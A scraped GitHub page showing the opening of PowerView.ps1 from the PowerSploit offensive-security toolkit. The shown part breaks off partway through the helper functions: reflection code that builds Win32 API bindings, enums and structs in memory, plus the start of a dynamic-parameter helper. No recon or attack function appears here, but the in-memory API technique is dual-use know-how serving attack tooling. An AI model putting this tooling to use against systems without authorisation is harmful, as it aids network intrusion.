Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
PowerSploit/Recon/PowerView.ps1
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
executable file
24952 lines (18953 sloc)
884 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#requires -version 2 | |
<# | |
PowerSploit File: PowerView.ps1 | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
#> | |
######################################################## | |
# | |
# PSReflect code for Windows API access | |
# Author: @mattifestation | |
# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 | |
# | |
######################################################## | |
function New-InMemoryModule { | |
<# | |
.SYNOPSIS | |
Creates an in-memory assembly and module | |
Author: Matthew Graeber (@mattifestation) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
When defining custom enums, structs, and unmanaged functions, it is | |
necessary to associate to an assembly module. This helper function | |
creates an in-memory module that can be passed to the 'enum', | |
'struct', and Add-Win32Type functions. | |
.PARAMETER ModuleName | |
Specifies the desired name for the in-memory assembly and module. If | |
ModuleName is not provided, it will default to a GUID. | |
.EXAMPLE | |
$Module = New-InMemoryModule -ModuleName Win32 | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ModuleName = [Guid]::NewGuid().ToString() | |
) | |
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) | |
$LoadedAssemblies = $AppDomain.GetAssemblies() | |
foreach ($Assembly in $LoadedAssemblies) { | |
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { | |
return $Assembly | |
} | |
} | |
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName) | |
$Domain = $AppDomain | |
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) | |
return $ModuleBuilder | |
} | |
# A helper function used to reduce typing while defining function | |
# prototypes for Add-Win32Type. | |
function func { | |
Param ( | |
[Parameter(Position = 0, Mandatory = $True)] | |
[String] | |
$DllName, | |
[Parameter(Position = 1, Mandatory = $True)] | |
[string] | |
$FunctionName, | |
[Parameter(Position = 2, Mandatory = $True)] | |
[Type] | |
$ReturnType, | |
[Parameter(Position = 3)] | |
[Type[]] | |
$ParameterTypes, | |
[Parameter(Position = 4)] | |
[Runtime.InteropServices.CallingConvention] | |
$NativeCallingConvention, | |
[Parameter(Position = 5)] | |
[Runtime.InteropServices.CharSet] | |
$Charset, | |
[String] | |
$EntryPoint, | |
[Switch] | |
$SetLastError | |
) | |
$Properties = @{ | |
DllName = $DllName | |
FunctionName = $FunctionName | |
ReturnType = $ReturnType | |
} | |
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } | |
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } | |
if ($Charset) { $Properties['Charset'] = $Charset } | |
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } | |
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } | |
New-Object PSObject -Property $Properties | |
} | |
function Add-Win32Type | |
{ | |
<# | |
.SYNOPSIS | |
Creates a .NET type for an unmanaged Win32 function. | |
Author: Matthew Graeber (@mattifestation) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: func | |
.DESCRIPTION | |
Add-Win32Type enables you to easily interact with unmanaged (i.e. | |
Win32 unmanaged) functions in PowerShell. After providing | |
Add-Win32Type with a function signature, a .NET type is created | |
using reflection (i.e. csc.exe is never called like with Add-Type). | |
The 'func' helper function can be used to reduce typing when defining | |
multiple function definitions. | |
.PARAMETER DllName | |
The name of the DLL. | |
.PARAMETER FunctionName | |
The name of the target function. | |
.PARAMETER EntryPoint | |
The DLL export function name. This argument should be specified if the | |
specified function name is different than the name of the exported | |
function. | |
.PARAMETER ReturnType | |
The return type of the function. | |
.PARAMETER ParameterTypes | |
The function parameters. | |
.PARAMETER NativeCallingConvention | |
Specifies the native calling convention of the function. Defaults to | |
stdcall. | |
.PARAMETER Charset | |
If you need to explicitly call an 'A' or 'W' Win32 function, you can | |
specify the character set. | |
.PARAMETER SetLastError | |
Indicates whether the callee calls the SetLastError Win32 API | |
function before returning from the attributed method. | |
.PARAMETER Module | |
The in-memory module that will host the functions. Use | |
New-InMemoryModule to define an in-memory module. | |
.PARAMETER Namespace | |
An optional namespace to prepend to the type. Add-Win32Type defaults | |
to a namespace consisting only of the name of the DLL. | |
.EXAMPLE | |
$Mod = New-InMemoryModule -ModuleName Win32 | |
$FunctionDefinitions = @( | |
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), | |
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), | |
(func ntdll RtlGetCurrentPeb ([IntPtr]) @()) | |
) | |
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' | |
$Kernel32 = $Types['kernel32'] | |
$Ntdll = $Types['ntdll'] | |
$Ntdll::RtlGetCurrentPeb() | |
$ntdllbase = $Kernel32::GetModuleHandle('ntdll') | |
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') | |
.NOTES | |
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 | |
When defining multiple function prototypes, it is ideal to provide | |
Add-Win32Type with an array of function signatures. That way, they | |
are all incorporated into the same in-memory module. | |
#> | |
[OutputType([Hashtable])] | |
Param( | |
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] | |
[String] | |
$DllName, | |
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] | |
[String] | |
$FunctionName, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[String] | |
$EntryPoint, | |
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] | |
[Type] | |
$ReturnType, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Type[]] | |
$ParameterTypes, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Runtime.InteropServices.CallingConvention] | |
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Runtime.InteropServices.CharSet] | |
$Charset = [Runtime.InteropServices.CharSet]::Auto, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Switch] | |
$SetLastError, | |
[Parameter(Mandatory=$True)] | |
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
$Module, | |
[ValidateNotNull()] | |
[String] | |
$Namespace = '' | |
) | |
BEGIN | |
{ | |
$TypeHash = @{} | |
} | |
PROCESS | |
{ | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
if ($Namespace) | |
{ | |
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") | |
} | |
else | |
{ | |
$TypeHash[$DllName] = $Module.GetType($DllName) | |
} | |
} | |
else | |
{ | |
# Define one type for each DLL | |
if (!$TypeHash.ContainsKey($DllName)) | |
{ | |
if ($Namespace) | |
{ | |
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') | |
} | |
else | |
{ | |
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') | |
} | |
} | |
$Method = $TypeHash[$DllName].DefineMethod( | |
$FunctionName, | |
'Public,Static,PinvokeImpl', | |
$ReturnType, | |
$ParameterTypes) | |
# Make each ByRef parameter an Out parameter | |
$i = 1 | |
foreach($Parameter in $ParameterTypes) | |
{ | |
if ($Parameter.IsByRef) | |
{ | |
[void] $Method.DefineParameter($i, 'Out', $null) | |
} | |
$i++ | |
} | |
$DllImport = [Runtime.InteropServices.DllImportAttribute] | |
$SetLastErrorField = $DllImport.GetField('SetLastError') | |
$CallingConventionField = $DllImport.GetField('CallingConvention') | |
$CharsetField = $DllImport.GetField('CharSet') | |
$EntryPointField = $DllImport.GetField('EntryPoint') | |
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } | |
if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } | |
# Equivalent to C# version of [DllImport(DllName)] | |
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) | |
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, | |
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), | |
[Reflection.FieldInfo[]] @($SetLastErrorField, | |
$CallingConventionField, | |
$CharsetField, | |
$EntryPointField), | |
[Object[]] @($SLEValue, | |
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), | |
([Runtime.InteropServices.CharSet] $Charset), | |
$ExportedFuncName)) | |
$Method.SetCustomAttribute($DllImportAttribute) | |
} | |
} | |
END | |
{ | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
return $TypeHash | |
} | |
$ReturnTypes = @{} | |
foreach ($Key in $TypeHash.Keys) | |
{ | |
$Type = $TypeHash[$Key].CreateType() | |
$ReturnTypes[$Key] = $Type | |
} | |
return $ReturnTypes | |
} | |
} | |
function psenum { | |
<# | |
.SYNOPSIS | |
Creates an in-memory enumeration for use in your PowerShell session. | |
Author: Matthew Graeber (@mattifestation) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
The 'psenum' function facilitates the creation of enums entirely in | |
memory using as close to a "C style" as PowerShell will allow. | |
.PARAMETER Module | |
The in-memory module that will host the enum. Use | |
New-InMemoryModule to define an in-memory module. | |
.PARAMETER FullName | |
The fully-qualified name of the enum. | |
.PARAMETER Type | |
The type of each enum element. | |
.PARAMETER EnumElements | |
A hashtable of enum elements. | |
.PARAMETER Bitfield | |
Specifies that the enum should be treated as a bitfield. | |
.EXAMPLE | |
$Mod = New-InMemoryModule -ModuleName Win32 | |
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ | |
UNKNOWN = 0 | |
NATIVE = 1 # Image doesn't require a subsystem. | |
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. | |
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. | |
OS2_CUI = 5 # Image runs in the OS/2 character subsystem. | |
POSIX_CUI = 7 # Image runs in the Posix character subsystem. | |
NATIVE_WINDOWS = 8 # Image is a native Win9x driver. | |
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. | |
EFI_APPLICATION = 10 | |
EFI_BOOT_SERVICE_DRIVER = 11 | |
EFI_RUNTIME_DRIVER = 12 | |
EFI_ROM = 13 | |
XBOX = 14 | |
WINDOWS_BOOT_APPLICATION = 16 | |
} | |
.NOTES | |
PowerShell purists may disagree with the naming of this function but | |
again, this was developed in such a way so as to emulate a "C style" | |
definition as closely as possible. Sorry, I'm not going to name it | |
New-Enum. :P | |
#> | |
[OutputType([Type])] | |
Param ( | |
[Parameter(Position = 0, Mandatory=$True)] | |
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
$Module, | |
[Parameter(Position = 1, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$FullName, | |
[Parameter(Position = 2, Mandatory=$True)] | |
[Type] | |
$Type, | |
[Parameter(Position = 3, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[Hashtable] | |
$EnumElements, | |
[Switch] | |
$Bitfield | |
) | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
return ($Module.GetType($FullName)) | |
} | |
$EnumType = $Type -as [Type] | |
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) | |
if ($Bitfield) | |
{ | |
$FlagsConstructor = [FlagsAttribute].GetConstructor(@()) | |
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) | |
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) | |
} | |
foreach ($Key in $EnumElements.Keys) | |
{ | |
# Apply the specified enum type to each element | |
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) | |
} | |
$EnumBuilder.CreateType() | |
} | |
# A helper function used to reduce typing while defining struct | |
# fields. | |
function field { | |
Param ( | |
[Parameter(Position = 0, Mandatory=$True)] | |
[UInt16] | |
$Position, | |
[Parameter(Position = 1, Mandatory=$True)] | |
[Type] | |
$Type, | |
[Parameter(Position = 2)] | |
[UInt16] | |
$Offset, | |
[Object[]] | |
$MarshalAs | |
) | |
@{ | |
Position = $Position | |
Type = $Type -as [Type] | |
Offset = $Offset | |
MarshalAs = $MarshalAs | |
} | |
} | |
function struct | |
{ | |
<# | |
.SYNOPSIS | |
Creates an in-memory struct for use in your PowerShell session. | |
Author: Matthew Graeber (@mattifestation) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: field | |
.DESCRIPTION | |
The 'struct' function facilitates the creation of structs entirely in | |
memory using as close to a "C style" as PowerShell will allow. Struct | |
fields are specified using a hashtable where each field of the struct | |
is comprosed of the order in which it should be defined, its .NET | |
type, and optionally, its offset and special marshaling attributes. | |
One of the features of 'struct' is that after your struct is defined, | |
it will come with a built-in GetSize method as well as an explicit | |
converter so that you can easily cast an IntPtr to the struct without | |
relying upon calling SizeOf and/or PtrToStructure in the Marshal | |
class. | |
.PARAMETER Module | |
The in-memory module that will host the struct. Use | |
New-InMemoryModule to define an in-memory module. | |
.PARAMETER FullName | |
The fully-qualified name of the struct. | |
.PARAMETER StructFields | |
A hashtable of fields. Use the 'field' helper function to ease | |
defining each field. | |
.PARAMETER PackingSize | |
Specifies the memory alignment of fields. | |
.PARAMETER ExplicitLayout | |
Indicates that an explicit offset for each field will be specified. | |
.EXAMPLE | |
$Mod = New-InMemoryModule -ModuleName Win32 | |
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ | |
DOS_SIGNATURE = 0x5A4D | |
OS2_SIGNATURE = 0x454E | |
OS2_SIGNATURE_LE = 0x454C | |
VXD_SIGNATURE = 0x454C | |
} | |
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ | |
e_magic = field 0 $ImageDosSignature | |
e_cblp = field 1 UInt16 | |
e_cp = field 2 UInt16 | |
e_crlc = field 3 UInt16 | |
e_cparhdr = field 4 UInt16 | |
e_minalloc = field 5 UInt16 | |
e_maxalloc = field 6 UInt16 | |
e_ss = field 7 UInt16 | |
e_sp = field 8 UInt16 | |
e_csum = field 9 UInt16 | |
e_ip = field 10 UInt16 | |
e_cs = field 11 UInt16 | |
e_lfarlc = field 12 UInt16 | |
e_ovno = field 13 UInt16 | |
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) | |
e_oemid = field 15 UInt16 | |
e_oeminfo = field 16 UInt16 | |
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) | |
e_lfanew = field 18 Int32 | |
} | |
# Example of using an explicit layout in order to create a union. | |
$TestUnion = struct $Mod TestUnion @{ | |
field1 = field 0 UInt32 0 | |
field2 = field 1 IntPtr 0 | |
} -ExplicitLayout | |
.NOTES | |
PowerShell purists may disagree with the naming of this function but | |
again, this was developed in such a way so as to emulate a "C style" | |
definition as closely as possible. Sorry, I'm not going to name it | |
New-Struct. :P | |
#> | |
[OutputType([Type])] | |
Param ( | |
[Parameter(Position = 1, Mandatory=$True)] | |
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
$Module, | |
[Parameter(Position = 2, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$FullName, | |
[Parameter(Position = 3, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[Hashtable] | |
$StructFields, | |
[Reflection.Emit.PackingSize] | |
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified, | |
[Switch] | |
$ExplicitLayout | |
) | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
return ($Module.GetType($FullName)) | |
} | |
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, | |
Class, | |
Public, | |
Sealed, | |
BeforeFieldInit' | |
if ($ExplicitLayout) | |
{ | |
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout | |
} | |
else | |
{ | |
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout | |
} | |
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) | |
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] | |
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) | |
$Fields = New-Object Hashtable[]($StructFields.Count) | |
# Sort each field according to the orders specified | |
# Unfortunately, PSv2 doesn't have the luxury of the | |
# hashtable [Ordered] accelerator. | |
foreach ($Field in $StructFields.Keys) | |
{ | |
$Index = $StructFields[$Field]['Position'] | |
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} | |
} | |
foreach ($Field in $Fields) | |
{ | |
$FieldName = $Field['FieldName'] | |
$FieldProp = $Field['Properties'] | |
$Offset = $FieldProp['Offset'] | |
$Type = $FieldProp['Type'] | |
$MarshalAs = $FieldProp['MarshalAs'] | |
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') | |
if ($MarshalAs) | |
{ | |
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) | |
if ($MarshalAs[1]) | |
{ | |
$Size = $MarshalAs[1] | |
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, | |
$UnmanagedType, $SizeConst, @($Size)) | |
} | |
else | |
{ | |
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) | |
} | |
$NewField.SetCustomAttribute($AttribBuilder) | |
} | |
if ($ExplicitLayout) { $NewField.SetOffset($Offset) } | |
} | |
# Make the struct aware of its own size. | |
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf! | |
$SizeMethod = $StructBuilder.DefineMethod('GetSize', | |
'Public, Static', | |
[Int], | |
[Type[]] @()) | |
$ILGenerator = $SizeMethod.GetILGenerator() | |
# Thanks for the help, Jason Shirk! | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, | |
[Type].GetMethod('GetTypeFromHandle')) | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, | |
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) | |
# Allow for explicit casting from an IntPtr | |
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! | |
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', | |
'PrivateScope, Public, Static, HideBySig, SpecialName', | |
$StructBuilder, | |
[Type[]] @([IntPtr])) | |
$ILGenerator2 = $ImplicitConverter.GetILGenerator() | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, | |
[Type].GetMethod('GetTypeFromHandle')) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, | |
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) | |
$StructBuilder.CreateType() | |
} | |
######################################################## | |
# | |
# Misc. helpers | |
# | |
######################################################## | |
Function New-DynamicParameter { | |
<# | |
.SYNOPSIS | |
Helper function to simplify creating dynamic parameters. | |
Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. | |
Originally released under the Microsoft Public License (Ms-PL). | |
.DESCRIPTION | |
Helper function to simplify creating dynamic parameters. | |
Example use cases: | |
Include parameters only if your environment dictates it | |
Include parameters depending on the value of a user-specified parameter | |
Provide tab completion and intellisense for parameters, depending on the environment | |
Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. | |
Use New-DynamicParameter with 'CreateVariables' switch in your main code block, | |
('Process' for advanced functions) to create those variables. | |
Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. | |
This function has two operating modes: | |
1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, | |
with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. | |
2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. | |
Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, | |
with custom conditions and so on. | |
.NOTES | |
Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: | |
https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 | |
http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ | |
http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ | |
Credit to BM for alias and type parameters and their handling | |
.PARAMETER Name | |
Name of the dynamic parameter | |
.PARAMETER Type | |
Type for the dynamic parameter. Default is string | |
.PARAMETER Alias | |
If specified, one or more aliases to assign to the dynamic parameter | |
.PARAMETER Mandatory | |
If specified, set the Mandatory attribute for this dynamic parameter | |
.PARAMETER Position | |
If specified, set the Position attribute for this dynamic parameter | |
.PARAMETER HelpMessage | |
If specified, set the HelpMessage for this dynamic parameter | |
.PARAMETER DontShow | |
If specified, set the DontShow for this dynamic parameter. | |
This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. | |
http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ | |
.PARAMETER ValueFromPipeline | |
If specified, set the ValueFromPipeline attribute for this dynamic parameter | |
.PARAMETER ValueFromPipelineByPropertyName | |
If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter | |
.PARAMETER ValueFromRemainingArguments | |
If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter | |
.PARAMETER ParameterSetName | |
If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. | |
.PARAMETER AllowNull | |
If specified, set the AllowNull attribute of this dynamic parameter | |
.PARAMETER AllowEmptyString | |
If specified, set the AllowEmptyString attribute of this dynamic parameter | |
.PARAMETER AllowEmptyCollection | |
If specified, set the AllowEmptyCollection attribute of this dynamic parameter | |
.PARAMETER ValidateNotNull | |
If specified, set the ValidateNotNull attribute of this dynamic parameter | |
.PARAMETER ValidateNotNullOrEmpty | |
If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter | |
.PARAMETER ValidateRange | |
If specified, set the ValidateRange attribute of this dynamic parameter | |
.PARAMETER ValidateLength | |
If specified, set the ValidateLength attribute of this dynamic parameter | |
.PARAMETER ValidatePattern | |
If specified, set the ValidatePattern attribute of this dynamic parameter | |
.PARAMETER ValidateScript | |
If specified, set the ValidateScript attribute of this dynamic parameter | |
.PARAMETER ValidateSet | |
If specified, set the ValidateSet attribute of this dynamic parameter | |
.PARAMETER Dictionary | |
If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. | |
Appropriate for custom dynamic parameters creation. | |
If not specified, create and return a RuntimeDefinedParameterDictionary | |
Appropriate for a simple dynamic parameter creation. | |
#> | |
[CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] | |
Param ( | |
[Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[string]$Name, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[System.Type]$Type = [int], | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[string[]]$Alias, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$Mandatory, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[int]$Position, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[string]$HelpMessage, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$DontShow, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValueFromPipeline, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValueFromPipelineByPropertyName, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValueFromRemainingArguments, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[string]$ParameterSetName = '__AllParameterSets', | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$AllowNull, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$AllowEmptyString, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$AllowEmptyCollection, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValidateNotNull, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValidateNotNullOrEmpty, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateCount(2,2)] | |
[int[]]$ValidateCount, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateCount(2,2)] | |
[int[]]$ValidateRange, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateCount(2,2)] | |
[int[]]$ValidateLength, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[string]$ValidatePattern, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[scriptblock]$ValidateScript, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[string[]]$ValidateSet, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[ValidateScript({ | |
if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) | |
{ | |
Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' | |
} | |
$true | |
})] | |
$Dictionary = $false, | |
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] | |
[switch]$CreateVariables, | |
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] | |
[ValidateNotNullOrEmpty()] | |
[ValidateScript({ | |
# System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, | |
# so one can't use PowerShell's '-is' operator to validate type. | |
if($_.GetType().Name -notmatch 'Dictionary') { | |
Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' | |
} | |
$true | |
})] | |
$BoundParameters | |
) | |
Begin { | |
$InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary | |
function _temp { [CmdletBinding()] Param() } | |
$CommonParameters = (Get-Command _temp).Parameters.Keys | |
} | |
Process { | |
if($CreateVariables) { | |
$BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } | |
ForEach($Parameter in $BoundKeys) { | |
if ($Parameter) { | |
Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force | |
} | |
} | |
} | |
else { | |
$StaleKeys = @() | |
$StaleKeys = $PSBoundParameters.GetEnumerator() | | |
ForEach-Object { | |
if($_.Value.PSobject.Methods.Name -match '^Equals$') { | |
# If object has Equals, compare bound key and variable using it | |
if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { | |
$_.Key | |
} | |
} | |
else { | |
# If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator | |
if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { | |
$_.Key | |
} | |
} | |
} | |
if($StaleKeys) { | |
$StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} | |
} | |
# Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters | |
